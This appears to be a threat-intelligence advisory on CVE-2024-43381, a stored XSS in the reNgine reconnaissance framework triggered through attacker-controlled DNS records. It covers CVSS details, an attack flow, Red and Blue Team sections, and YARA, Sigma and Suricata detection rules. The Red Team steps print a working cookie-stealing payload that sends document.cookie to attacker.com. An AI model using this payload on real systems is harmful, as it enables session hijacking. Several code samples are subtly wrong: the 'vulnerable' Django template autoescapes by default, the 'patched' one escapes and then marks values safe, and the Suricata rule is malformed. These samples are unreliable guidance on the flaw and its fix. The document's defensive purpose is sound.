CVE-2024-43381

Executive Summary

CVE-2024-43381 is a Stored Cross-Site Scripting (XSS) vulnerability in reNgine, an automated reconnaissance framework for web applications. Versions 2.1.2 and prior are affected. The vulnerability allows an attacker to inject malicious JavaScript into the reNgine dashboard by controlling the DNS record of a target domain. When a user scans a domain whose DNS record contains an XSS payload, the payload is fetched and executed in the dashboard view, leading to session hijacking, data theft, or further compromise. The CVSS score is 5.0 (Medium), with a low EPSS score of 0.0%. No public exploit code or Nuclei template is available, but the attack vector is straightforward and requires no user interaction beyond viewing scan results.

Supply Chain & Package Security

reNgine is a Python-based framework. The vulnerability is not in a package dependency but in the application's handling of DNS record data. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.0 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must view scan results
• Scope: Changed (S:C) – impact extends to the dashboard
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The attack is easy to execute but requires the victim to view the scan results. The impact is limited to the dashboard context.

Deep Dive & Mechanics

The vulnerability lies in how reNgine processes DNS records during domain scanning. When a user initiates a scan on a target domain, reNgine fetches the DNS records (e.g., A, AAAA, TXT, CNAME) of that domain. If the DNS record contains an XSS payload (e.g., <script>alert(1)</script>), the payload is stored in the database and later rendered in the dashboard view without proper sanitization.

Attack Flow:

1. Attacker registers a domain (e.g., evil.example.com) and sets a DNS record (e.g., TXT record) containing an XSS payload.
2. Attacker tricks a reNgine user into scanning evil.example.com (e.g., via social engineering or by adding it to a scan list).
3. reNgine fetches the DNS record, stores the payload, and displays it in the dashboard.
4. When the victim views the scan results, the XSS payload executes in their browser.

Root Cause: Lack of output encoding or sanitization when rendering DNS record data in the dashboard.

Vulnerable vs. Patched Code

Vulnerable Code (reNgine <= 2.1.2):

# In views.py or similar
def scan_results(request, scan_id):
    scan = Scan.objects.get(id=scan_id)
    dns_records = scan.dns_records.all()
    return render(request, 'dashboard.html', {'dns_records': dns_records})

<!-- dashboard.html (vulnerable) -->
{% for record in dns_records %}
  <div>{{ record.value }}</div>
{% endfor %}

Patched Code (expected in 2.1.3):

# In views.py
from django.utils.html import escape

def scan_results(request, scan_id):
    scan = Scan.objects.get(id=scan_id)
    dns_records = scan.dns_records.all()
    # Sanitize each record value
    sanitized_records = [escape(record.value) for record in dns_records]
    return render(request, 'dashboard.html', {'dns_records': sanitized_records})

<!-- dashboard.html (patched) -->
{% for record in dns_records %}
  <div>{{ record|safe }}</div>  <!-- Only if already escaped -->
{% endfor %}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A domain you control (e.g., attacker.com)
• Ability to set DNS records (e.g., TXT, CNAME)
• reNgine instance (version <= 2.1.2)

Steps:

1. Set a TXT record for attacker.com with value: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
2. In reNgine, add attacker.com to a scan target list.
3. Initiate a scan.
4. Wait for the scan to complete.
5. When the victim views the scan results, the XSS payload executes, sending cookies to your server.

Example DNS record (using dig):

dig txt attacker.com +short
"<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"

Blue Team

Detection:

• Monitor DNS queries for suspicious TXT records containing script tags.
• Use web application firewalls (WAF) to block XSS payloads in DNS responses.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Upgrade to reNgine 2.1.3 or later.
• Apply input sanitization on all DNS record data before rendering.
• Use Django's escape filter or mark_safe only when necessary.

Indicators of Compromise (IOCs)

• DNS Records: TXT, CNAME, or A records containing <script>, onerror, onload, or other XSS vectors.
• Network Traffic: Outbound requests from reNgine dashboard to attacker-controlled domains (e.g., attacker.com/steal?cookie=...).
• Logs: reNgine scan logs showing unusual DNS record values.

Detection Engineering

YARA Rule

rule CVE_2024_43381_XSS_DNS {
    meta:
        description = "Detect XSS payloads in DNS records targeting reNgine"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-43381"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2024-43381 - Stored XSS via DNS Records in reNgine
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in DNS records that could be used to exploit reNgine
author: Valters IT
date: 2025-04-10
logsource:
    category: dns
    product: dns
detection:
    selection:
        record_type: "TXT"
        value|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of script tags in TXT records (rare)
level: high

Suricata Rule

alert dns any any -> any any (msg:"CVE-2024-43381 - XSS Payload in DNS TXT Record"; dns.query; content:"TXT"; nocase; dns.rdata; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to reNgine 2.1.3 as soon as it is released.
• If upgrade is not possible, manually sanitize DNS record data in the dashboard template using Django's escape filter.

Long-term:

• Implement strict input validation for all external data (DNS records, HTTP responses, etc.).
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits of the codebase.

Workaround:

• Disable automatic display of DNS records in the dashboard until patched.
• Use a reverse proxy with WAF capabilities to filter XSS payloads.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert